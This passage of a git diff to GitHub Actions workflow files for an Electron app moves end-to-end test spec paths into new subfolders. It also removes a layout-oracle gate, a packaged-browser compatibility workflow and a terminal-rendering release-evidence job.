PLAYWRIGHT_JSON_OUTPUT_FILE="$PWD/layout-divergence/headless-oracle-results.json" - REPORT_ARGS=('--reporter=list,json') - fi - xvfb-run --auto-servernum bash .github/scripts/e2e-with-window-manager.sh pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/workspace-layout-oracle-headless.spec.ts --project=electron-headless --workers=1 "${REPORT_ARGS[@]}" - - name: Summarize layout save divergence - if: always() && inputs.layout_owner == 'main' - continue-on-error: true - run: *summarize_layout_divergence - - name: Upload layout save divergence report - if: always() && inputs.layout_owner == 'main' - continue-on-error: true - uses: actions/upload-artifact@v7 - with: - name: layout-divergence-headless${{ inputs.artifact_suffix }}-attempt-${{ github.run_attempt }} - path: layout-divergence/ - retention-days: 14 - if-no-files-found: warn + run: xvfb-run --auto-servernum bash .github/scripts/e2e-with-window-manager.sh pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/remote/mobile-mirror/headless-serve-mobile-markdown.spec.ts --grep "headless orcad server" --project=electron-headless --workers=1 - uses: actions/upload-artifact@v7 if: failure() with: @@ -643,7 +595,7 @@ jobs: orcad-ssh-docker: name: ssh on managed orcad (Docker ${{ matrix.shard }}) needs: [build] - if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/ssh-orcad-') + if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts') || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts') || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts') || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts') || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts') || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts') || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts') runs-on: ${{ inputs.fast_runners && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }} timeout-minutes: 60 strategy: @@ -684,7 +636,6 @@ jobs: node "$(if [ -f config/scripts/orcad-distribution/template/build-orcad-template.mjs ]; then printf %s config/scripts/orcad-distribution/template/build-orcad-template.mjs; else printf %s config/scripts/build-orcad-template.mjs; fi)" --targets linux-x64-glibc fi mv out/orcad-template "$RUNNER_TEMP/orcad-convert-template" - # The Windows CLI matrix collects here too and skips: it needs a Windows host descriptor. - name: Run managed SSH specs on a Docker host env: TEST_FILES_JSON: ${{ inputs.test_files }} @@ -706,7 +657,7 @@ jobs: // Older checkout refs retain their full-suite behavior. const specs = selection.selectManagedSshE2eSpecs ? selection.selectManagedSshE2eSpecs(process.env.TEST_FILES_JSON) - : ['tests/e2e/ssh-orcad-'] + : ["tests/e2e/ssh-orcad-","tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts","tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts"] for (const spec of specs) { console.log(spec.endsWith('.spec.ts') ? spec.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '$' : spec) } @@ -748,7 +699,7 @@ jobs: # missing-AppData startup check and the explorer file-copy check, which need the same Windows e2e build. orcad-serve-mode-switch-windows: name: orca serve on Windows (D7 mode switch, missing AppData) - if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/orcad-serve-mode-switch.spec.ts') || contains(inputs.test_files, 'tests/e2e/windows-missing-appdata-startup.spec.ts') || contains(inputs.test_files, 'tests/e2e/file-explorer-copy-file-windows.spec.ts') + if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts') || contains(inputs.test_files, 'tests/e2e/desktop/startup-recovery/windows-missing-appdata-startup.spec.ts') || contains(inputs.test_files, 'tests/e2e/editor/file-explorer/file-explorer-copy-file-windows.spec.ts') runs-on: windows-2022 timeout-minutes: 45 env: @@ -783,26 +734,26 @@ jobs: node "$(if [ -f config/scripts/orcad-distribution/template/build-orcad-template.mjs ]; then printf %s config/scripts/orcad-distribution/template/build-orcad-template.mjs; else printf %s config/scripts/build-orcad-template.mjs; fi)" --targets win32-x64 # A profile-less Windows session has no roaming AppData; Electron 43 used to crash natively there. - name: Start serve with no AppData folder - if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/windows-missing-appdata-startup.spec.ts') + if: inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/desktop/startup-recovery/windows-missing-appdata-startup.spec.ts') env: SKIP_BUILD: '1' ORCA_E2E_FORWARD_APP_LOGS: '1' - run: pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/windows-missing-appdata-startup.spec.ts --project=electron-headless --workers=1 + run: pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/desktop/startup-recovery/windows-missing-appdata-startup.spec.ts --project=electron-headless --workers=1 # Explorer pastes only a real CF_HDROP, which needs the Windows clipboard and shell. - name: Copy a file from the explorer - if: ${{ !cancelled() && (inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/file-explorer-copy-file-windows.spec.ts')) }} + if: ${{ !cancelled() && (inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/editor/file-explorer/file-explorer-copy-file-windows.spec.ts')) }} env: SKIP_BUILD: '1' ORCA_E2E_FORWARD_APP_LOGS: '1' - run: pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/file-explorer-copy-file-windows.spec.ts --project=electron-headless --workers=1 + run: pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/editor/file-explorer/file-explorer-copy-file-windows.spec.ts --project=electron-headless --workers=1 - name: Switch serve hosts on one profile - if: ${{ !cancelled() && (inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/orcad-serve-mode-switch.spec.ts')) }} + if: ${{ !cancelled() && (inputs.test_files == '' || contains(inputs.test_files, 'tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts')) }} env: SKIP_BUILD: '1' ORCA_E2E_ORCAD_SERVE: '1' ORCA_E2E_FORWARD_APP_LOGS: '1' ORCA_E2E_PRESERVE_PROFILE_LOGS_DIR: ${{ github.workspace }}\test-results\profile-logs - run: pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/orcad-serve-mode-switch.spec.ts --project=electron-headless --workers=1 + run: pnpm exec playwright test --config tests/playwright.config.ts tests/e2e/remote/managed-ssh/host-lifecycle/orcad-serve-mode-switch.spec.ts --project=electron-headless --workers=1 - uses: actions/upload-artifact@v7 if: failure() with: diff --git a/.github/workflows/golden-e2e-experiment.yml b/.github/workflows/golden-e2e-experiment.yml index d059bd2f42f..e46a0ebbd64 100644 --- a/.github/workflows/golden-e2e-experiment.yml +++ b/.github/workflows/golden-e2e-experiment.yml @@ -71,10 +71,9 @@ jobs: if: runner.os == 'Linux' run: | xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:workspace-session-golden - if [ -f tests/e2e/golden-fresh-profile-terminal.spec.ts ]; then - xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e tests/e2e/golden-fresh-profile-terminal.spec.ts tests/e2e/golden-shell-command.spec.ts + if [ -f tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts ]; then + xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts tests/e2e/golden-journeys/golden-shell-command.spec.ts fi - xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e:terminal-rendering-golden xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:posix-profile-index-golden xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:agent-tui-golden xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:tab-bar-agent-launch-golden @@ -84,10 +83,9 @@ jobs: if: runner.os == 'macOS' run: | env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:workspace-session-golden - if [ -f tests/e2e/golden-fresh-profile-terminal.spec.ts ]; then - env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e tests/e2e/golden-fresh-profile-terminal.spec.ts tests/e2e/golden-shell-command.spec.ts + if [ -f tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts ]; then + env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts tests/e2e/golden-journeys/golden-shell-command.spec.ts fi - env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e:terminal-rendering-golden env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:posix-profile-index-golden env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:agent-tui-golden env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:tab-bar-agent-launch-golden @@ -103,8 +101,8 @@ jobs: if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE } pnpm run --if-present test:e2e:tab-bar-agent-launch-golden if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE } - if (Test-Path tests/e2e/golden-fresh-profile-terminal.spec.ts) { - pnpm run test:e2e tests/e2e/golden-fresh-profile-terminal.spec.ts tests/e2e/golden-shell-command.spec.ts + if (Test-Path tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts) { + pnpm run test:e2e tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts tests/e2e/golden-journeys/golden-shell-command.spec.ts if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE } } pnpm run --if-present test:e2e:source-control-golden diff --git a/.github/workflows/layout-owner-e2e.yml b/.github/workflows/layout-owner-e2e.yml index 04d2d5c7817..2c4f9415490 100644 --- a/.github/workflows/layout-owner-e2e.yml +++ b/.github/workflows/layout-owner-e2e.yml @@ -12,20 +12,20 @@ on: permissions: contents: read -# This experiment costs about an hour of runner time; keep one suite active repository-wide. +# Reduced original journey selection; retired layout-oracle coverage is not claimed. concurrency: group: layout-owner-e2e cancel-in-progress: false jobs: layout_owner_switch_on: - name: layout owner (switch on) + name: surviving layout-owner journeys (switch on) permissions: contents: read uses: ./.github/workflows/e2e.yml with: ref: ${{ inputs.ref || github.sha }} - test_files: '["tests/e2e/workspace-layout-oracle-headless.spec.ts","tests/e2e/workspace-layout-oracle.spec.ts","tests/e2e/cli-file-open-position.spec.ts","tests/e2e/relaunch-first-terminal.spec.ts","tests/e2e/relaunch-sleeping-agents-resume-on-view.spec.ts","tests/e2e/cli-first-worktree-single-terminal.spec.ts","tests/e2e/unopened-workspace-agent-single-resume.spec.ts","tests/e2e/terminal-pane-close-layout-consistency.spec.ts","tests/e2e/golden-file-open-edit-save.spec.ts","tests/e2e/golden-source-control-open-diff.spec.ts","tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts","tests/e2e/editor-model-host-isolation.spec.ts","tests/e2e/editor-tab-selection-restore.spec.ts","tests/e2e/finished-agent-ghost-resume.spec.ts","tests/e2e/workspace-back-forward-navigation.spec.ts","tests/e2e/worktree-lineage-toggle-shortcut.spec.ts","tests/e2e/local-cli-terminal-retention.spec.ts","tests/e2e/default-tabs-mark-crash-relaunch.spec.ts","tests/e2e/terminal-cli-split-closed-before-mount.spec.ts","tests/e2e/layout-stream-loss-reopen.spec.ts","tests/e2e/terminal-tab-close-restart-persistence.spec.ts","tests/e2e/artificial-opencode-terminal-load.spec.ts","tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts","tests/e2e/headless-paired-remote-terminal-reveal-grid.spec.ts","tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts","tests/e2e/headless-paired-remote-terminal-viewer-size.spec.ts","tests/e2e/headless-serve-browser-tab-restart.spec.ts","tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts","tests/e2e/headless-serve-desktop-activation.spec.ts","tests/e2e/headless-serve-mobile-native-chat-identity.spec.ts","tests/e2e/layout-compat-old-phone-on-new-server.spec.ts","tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts","tests/e2e/paired-mobile-serve-restart-terminal-tabs.spec.ts","tests/e2e/paired-mobile-desktop-tab-composition.spec.ts","tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts","tests/e2e/ssh-orcad-"]' + test_files: '["tests/e2e/golden-journeys/golden-file-open-edit-save.spec.ts","tests/e2e/golden-journeys/golden-source-control-open-diff.spec.ts","tests/e2e/editor/file-lifecycle/editor-model-host-isolation.spec.ts","tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-reveal-grid.spec.ts","tests/e2e/terminal/remote-input/headless-paired-remote-terminal-stall-recovery.spec.ts","tests/e2e/terminal/remote-layout/headless-paired-remote-terminal-viewer-size.spec.ts","tests/e2e/browser/remote-hosted/headless-serve-browser-tab-restart.spec.ts","tests/e2e/remote/paired-runtime/workspace-routing/headless-serve-desktop-activation.spec.ts","tests/e2e/remote/mobile-mirror/headless-serve-mobile-native-chat-identity.spec.ts","tests/e2e/remote/mobile-mirror/paired-mobile-serve-restart-terminal-tabs.spec.ts","tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-editor-watch-recovery.spec.ts","tests/e2e/remote/managed-ssh/file-lifecycle/ssh-orcad-explorer-watch-recovery.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-idle-exit.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-pairing-repair.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-shared-home-machines.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-unbindable-tunnel-port.spec.ts","tests/e2e/remote/managed-ssh/host-lifecycle/ssh-orcad-update-anyway.spec.ts"]' run_changed_e2e: true needs_build: true artifact_suffix: -layout-owner-switch-on diff --git a/.github/workflows/mobile.yml b/.github/workflows/mobile.yml index 06cbed8bb6f..6a580ad251a 100644 --- a/.github/workflows/mobile.yml +++ b/.github/workflows/mobile.yml @@ -122,7 +122,6 @@ on: - 'config/scripts/workflow/source-routing/pr-code-change-scope.mjs' - 'config/scripts/workflow/source-routing/pr-xterm-patch-prefixes.mjs' - 'config/scripts/workflow/source-routing/pr-package-test-paths.mjs' - - 'config/scripts/workflow/source-routing/pr-layout-oracle-route.mjs' - 'config/scripts/workflow/source-routing/pr-shell-contract-prefixes.mjs' # Desktop suites do not feed mobile; keep fixtures and test/toolchain config inputs. - '!src/shared/**/*.test.[jt]s' diff --git a/.github/workflows/packaged-browser-e2e.yml b/.github/workflows/packaged-browser-e2e.yml deleted file mode 100644 index 06438c5046e..00000000000 --- a/.github/workflows/packaged-browser-e2e.yml +++ /dev/null @@ -1,121 +0,0 @@ -name: Packaged browser compatibility -# Both jobs pair the current build with a pinned released one. `layout-compat` holds all the layout -# rework baselines (P3), compared with the shapes recorded on main in -# tests/e2e/layout-compat-baselines.json; its artifact carries the observed shapes for re-recording. -on: - workflow_dispatch: - inputs: - ref: - description: Commit SHA or ref to validate (defaults to the selected revision) - type: string - required: false - schedule: - - cron: '20 8 * * 1' - workflow_call: - inputs: - ref: - type: string - required: false -permissions: - contents: read - -# Candidate source must not write caches in the dispatch branch's scope. -cache-mode: read -jobs: - compatibility: - runs-on: ubuntu-24.04 - timeout-minutes: 25 - steps: - - uses: actions/checkout@v6 - with: - ref: ${{ inputs.ref || github.sha }} - persist-credentials: false - - name: Install headless tools - run: sudo apt-get update && sudo apt-get install -y build-essential openssh-client python3 ripgrep xvfb zsh openbox x11-utils - - uses: ./.github/actions/install-node-dependencies - with: - native-runtime: electron - - name: Download pinned old release - uses: ./.github/actions/download-pinned-orca-release - with: - version: 1.4.188 - sha512: uGONFUDfinYggxcT9ac72wnnlofLQaqasDDeP0HWOSqarBwTi1Ax3khmzKUY3vUnvuYOpSCEmsH4InzLZ2vg6g== - github-token: ${{ github.token }} - - name: Build current Electron app - env: - VITE_EXPOSE_STORE: 'true' - run: | - pnpm run build:wsl-guest - pnpm exec electron-vite build --mode e2e - pnpm run build:web-from-renderer - - name: Run both mixed-version directions - env: - PLAYWRIGHT_JSON_OUTPUT_FILE: test-results/packaged-browser-results.json - run: >- - xvfb-run --auto-servernum bash .github/scripts/e2e-with-window-manager.sh - env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 - pnpm exec playwright test --config tests/playwright.config.ts - tests/e2e/packaged-mixed-version-browser-placement.spec.ts - --project=electron-headless --workers=1 --retries=0 --repeat-each=3 --reporter=list,json - - name: Require all six compatibility executions - if: always() - run: node "$(if [ -f config/scripts/desktop-distribution/runtime-verification/verify-packaged-browser-participation.mjs ]; then printf %s config/scripts/desktop-distribution/runtime-verification/verify-packaged-browser-participation.mjs; else printf %s config/scripts/verify-packaged-browser-participation.mjs; fi)" test-results/packaged-browser-results.json - - uses: actions/upload-artifact@v7 - if: always() - with: - name: packaged-mixed-version-audit - path: test-results/ - retention-days: 3 - layout-compat: - runs-on: ubuntu-24.04 - timeout-minutes: 30 - steps: - - uses: actions/checkout@v6 - with: - ref: ${{ inputs.ref || github.sha }} - persist-credentials: false - - name: Install headless tools - run: sudo apt-get update && sudo apt-get install -y build-essential openssh-client python3 ripgrep xvfb zsh openbox x11-utils - - uses: ./.github/actions/install-node-dependencies - with: - native-runtime: electron - - name: Download pinned old release - uses: ./.github/actions/download-pinned-orca-release - with: - version: 1.4.224 - sha512: +/VyaYSgqSAuSSWe1ySrCKRjHHJ6REXqmz58g69bxvoUdV41iH9vlobM18xdxWTkgJF2kbu/tSKFvH0jMnZ0+Q== - github-token: ${{ github.token }} - - name: Build current Electron app - env: - VITE_EXPOSE_STORE: 'true' - run: | - pnpm run build:wsl-guest - pnpm exec electron-vite build --mode e2e - pnpm run build:cli - pnpm run build:web-from-renderer - # The two specs without a released build ride along, so one dispatch reruns every baseline. - - name: Run the layout baselines - env: - ORCA_LAYOUT_COMPAT_REPORT_DIR: test-results/layout-compat - run: >- - xvfb-run --auto-servernum bash .github/scripts/e2e-with-window-manager.sh - env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 - pnpm exec playwright test --config tests/playwright.config.ts - tests/e2e/layout-compat-old-desktop-on-new-server.spec.ts - tests/e2e/layout-compat-new-desktop-on-old-server.spec.ts - tests/e2e/layout-compat-old-phone-on-new-server.spec.ts - tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts - --project=electron-headless --workers=1 --retries=0 --reporter=list - - name: Require every layout scenario to have run - if: always() - # A missing env skips the specs and passes; each run writes its observation first. - run: | - for scenario in old-desktop-on-new-server old-cli-terminal-create new-desktop-on-old-server old-phone-on-new-server serve-restart-keeps-@@-terminals; do - test -f "test-results/layout-compat/$scenario.linux.json" || { echo "::error::$scenario did not run"; exit 1; } - done - - uses: actions/upload-artifact@v7 - if: always() - with: - name: packaged-layout-compat - path: test-results/ - retention-days: 7 diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index cfc13ee34f7..d9839c7e537 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -49,7 +49,6 @@ jobs: package: ${{ steps.readiness.outputs.reused != 'true' && steps.filter.outputs.package }} windows_process_probe: ${{ steps.filter.outputs.windows_process_probe }} package_windows: ${{ steps.readiness.outputs.reused != 'true' && steps.filter.outputs.package_windows }} - layout_oracle: ${{ steps.readiness.outputs.reused != 'true' && steps.filter.outputs.layout_oracle }} dependency_isolation: ${{ steps.readiness.outputs.reused != 'true' && steps.filter.outputs.dependency_isolation }} e2e_should_run: ${{ steps.e2e_filter.outputs.should_run }} test_files: ${{ steps.e2e_filter.outputs.test_files }} @@ -81,9 +80,7 @@ jobs: /config/scripts/workflow/source-routing/pr-shell-contract-prefixes.mjs /.oxfmtrc.json /config/scripts/workflow/source-routing/pr-package-test-paths.mjs - /config/scripts/workflow/source-routing/pr-layout-oracle-route.mjs /config/scripts/workflow/source-routing/pr-e2e-source-routing.mjs - /config/scripts/workflow/source-routing/pr-browser-e2e-source-routes.mjs /config/scripts/workflow/source-routing/pr-editor-preview-e2e-source-routes.mjs /config/scripts/workflow/source-routing/pr-feature-area-e2e-source-routes.mjs /config/scripts/workflow/source-routing/pr-plugin-e2e-source-routes.mjs @@ -879,7 +876,6 @@ jobs: shards: ${{ needs.unit_plan.outputs.shards }} download_selection_plan: ${{ needs.unit_plan.outputs.selection_planned == 'true' }} run_shards: ${{ needs.code_paths.outputs.mobile_ci_tools != 'true' }} - run_relay_integration: ${{ needs.code_paths.outputs.relay_integration != 'false' || needs.code_paths.outputs.orcad_browser == 'true' }} # Keep advisory evidence sibling to tests and outside verify.needs; reusable-workflow dependency otherwise added ~36s after last shard. unit_selection_evidence: @@ -1433,28 +1429,6 @@ jobs: needs_build: ${{ needs.code_paths.outputs.e2e_needs_build != 'false' }} managed_ssh_shards: ${{ needs.code_paths.outputs.e2e_ssh_shards || '["1/2","2/2"]' }} - # Gate the green layout oracles separately from main’s red broader E2E suite: changed-spec window plus both orcad serve hosts. - layout_oracle: - name: layout oracle - needs: [code_paths] - if: >- - !cancelled() && - needs.code_paths.result == 'success' && - needs.code_paths.outputs.layout_oracle == 'true' - permissions: - contents: read - uses: ./.github/workflows/e2e.yml - with: - # Why the merge commit, unlike `e2e`: a gate must test what lands on main, not a stale head. - ref: ${{ github.sha }} - test_files: '["tests/e2e/workspace-layout-oracle-headless.spec.ts","tests/e2e/workspace-layout-oracle.spec.ts"]' - # Two ~3.6 min halves of the 21 window scenarios keep this gate off the PR's critical path. - changed_e2e_test_shards: '["1/2","2/2"]' - run_changed_e2e: true - needs_build: true - artifact_suffix: -layout-oracle - - # Keep native IME advisory while PR reliability is established (nightly 20/20, 2026-08-09..29, p50 3m25s); do not hide red via continue-on-error. To gate, add verify.needs, TERMINAL_IME_NATIVE env and separate success-or-skipped validation. terminal_ime_native: name: real IME needs: code_paths @@ -1546,7 +1520,6 @@ jobs: - managed_hook_node18 - package - package_windows - - layout_oracle - dependency_isolation runs-on: ubuntu-slim timeout-minutes: 5 @@ -1581,8 +1554,6 @@ jobs: PACKAGE_SHOULD_RUN: ${{ needs.code_paths.outputs.package }} PACKAGE_WINDOWS: ${{ needs.package_windows.result }} PACKAGE_WINDOWS_SHOULD_RUN: ${{ needs.code_paths.outputs.package_windows }} - LAYOUT_ORACLE: ${{ needs.layout_oracle.result }} - LAYOUT_ORACLE_SHOULD_RUN: ${{ needs.code_paths.outputs.layout_oracle }} DEPENDENCY_ISOLATION: ${{ needs.dependency_isolation.result }} DEPENDENCY_ISOLATION_SHOULD_RUN: ${{ needs.code_paths.outputs.dependency_isolation }} run: | @@ -1626,6 +1597,5 @@ jobs: check_job managed_hook_node18 "$MANAGED_HOOK_NODE18" "$MANAGED_HOOK_NODE18_SHOULD_RUN" check_job package "$PACKAGE" "$PACKAGE_SHOULD_RUN" check_job package_windows "$PACKAGE_WINDOWS" "$PACKAGE_WINDOWS_SHOULD_RUN" - check_job layout_oracle "$LAYOUT_ORACLE" "$LAYOUT_ORACLE_SHOULD_RUN" check_job dependency_isolation "$DEPENDENCY_ISOLATION" "$DEPENDENCY_ISOLATION_SHOULD_RUN" exit "$failed" diff --git a/.github/workflows/release-cut.yml b/.github/workflows/release-cut.yml index c7d3f8f61f4..15d27f5bbd7 100644 --- a/.github/workflows/release-cut.yml +++ b/.github/workflows/release-cut.yml @@ -737,10 +737,9 @@ jobs: run: | git fetch --no-tags --depth=1 origin "$WORKFLOW_SHA" git checkout "$WORKFLOW_SHA" -- \ - tests/e2e/golden-source-control-open-diff.spec.ts \ - tests/e2e/golden-terminal-file-link.spec.ts \ - tests/e2e/golden-worktree-create-switch.spec.ts \ - tests/e2e/helpers/e2e-completed-onboarding-profile.ts + tests/e2e/golden-journeys/golden-source-control-open-diff.spec.ts \ + tests/e2e/golden-journeys/golden-worktree-create-switch.spec.ts \ + tests/e2e/desktop/electron-fixtures/e2e-completed-onboarding-profile.ts - name: Install native build tools if: runner.os == 'Linux' @@ -783,7 +782,6 @@ jobs: if: runner.os == 'Linux' run: | xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:workspace-session-golden - xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e:terminal-rendering-golden xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:posix-profile-index-golden - name: Run source-control golden on Linux @@ -794,7 +792,6 @@ jobs: if: runner.os == 'macOS' run: | env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:workspace-session-golden - env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e:terminal-rendering-golden env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run --if-present test:e2e:posix-profile-index-golden - name: Run agent TUI golden on Linux @@ -921,96 +918,6 @@ jobs: # Why: these broader terminal rendering repros are useful release evidence, # but they include heavier app-like flows and must not block publishing. - terminal-rendering-release-evidence: - needs: cut - if: needs.cut.outputs.should_release == 'true' - continue-on-error: true - name: terminal rendering release evidence ${{ matrix.platform }} - runs-on: ${{ matrix.os }} - timeout-minutes: 35 - env: - NODE_OPTIONS: --max-old-space-size=4096 - strategy: - fail-fast: false - matrix: - include: - - os: ubuntu-latest - platform: linux - - os: macos-15 - platform: mac - # Why: Windows release evidence currently fails on CI runner PTY - # readiness before reaching the rendering assertions. - # - os: windows-latest - # platform: windows - - steps: - - name: Checkout - uses: actions/checkout@v6 - with: - ref: refs/tags/${{ needs.cut.outputs.tag }} - - - name: Install native build tools - if: runner.os == 'Linux' - run: sudo apt-get update && sudo apt-get install -y build-essential python3 xvfb - - - name: Setup pnpm - uses: pnpm/setup@v2 - with: - install: false - - - name: Setup Node.js - uses: actions/setup-node@v6 - with: - node-version-file: package.json - check-latest: true - cache: pnpm - - # Why: keep the non-blocking evidence lane on the same Linux native - # install path as the blocking golden and release build jobs. - - name: Use external node-gyp to avoid pnpm's bundled copy (Linux only) - if: runner.os == 'Linux' - run: | - npm install -g node-gyp@11.5.0 - echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV" - - # Same node-gyp header fetch as the blocking golden gate above. - - name: Install dependencies - uses: nick-fields/retry@v4 - with: - timeout_minutes: 10 - max_attempts: 3 - retry_wait_seconds: 30 - command: pnpm install --frozen-lockfile - - - name: Build Electron app for terminal rendering evidence - run: npx electron-vite build --mode e2e - - - name: Run terminal rendering evidence on Linux - if: runner.os == 'Linux' - run: xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e:terminal-rendering-release-evidence - - - name: Run terminal rendering evidence on macOS - if: runner.os == 'macOS' - run: env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm run test:e2e:terminal-rendering-release-evidence - - - name: Run terminal rendering evidence on Windows - if: runner.os == 'Windows' - shell: pwsh - run: | - $env:SKIP_BUILD = '1' - $env:ORCA_E2E_FORWARD_APP_LOGS = '1' - pnpm run test:e2e:terminal-rendering-release-evidence - - - name: Upload Playwright traces - if: failure() - uses: actions/upload-artifact@v7 - with: - name: terminal-rendering-release-evidence-${{ matrix.platform }}-playwright-traces - path: test-results/ - retention-days: 7 - if-no-files-found: ignore - - # Build every target’s qualified orcad slot at the tag beside release gates; unsigned template consumes no signing quota. orcad-template: needs: cut if: needs.cut.outputs.should_release == 'true' && needs.cut.outputs.ships_orcad_template == 'true' diff --git a/.github/workflows/ssh-windows-hosts.yml b/.github/workflows/ssh-windows-hosts.yml index 89ea6732e04..0c08bfdd556 100644 --- a/.github/workflows/ssh-windows-hosts.yml +++ b/.github/workflows/ssh-windows-hosts.yml @@ -63,12 +63,11 @@ on: - 'src/shared/shell/launch/shell-argument-quoting.ts' - '!src/**/*.test.ts' - 'src/main/managed-server/host-state/orcad-windows-host-lane.test.ts' - - 'tests/e2e/helpers/orcad-convert-host.ts' - - 'tests/e2e/helpers/orcad-convert-flow.ts' - - 'tests/e2e/helpers/orcad-upgrade-profile.ts' - - 'tests/e2e/ssh-orcad-windows-cli-matrix.spec.ts' - - 'tests/e2e/helpers/compiled-orca-cli.ts' - - 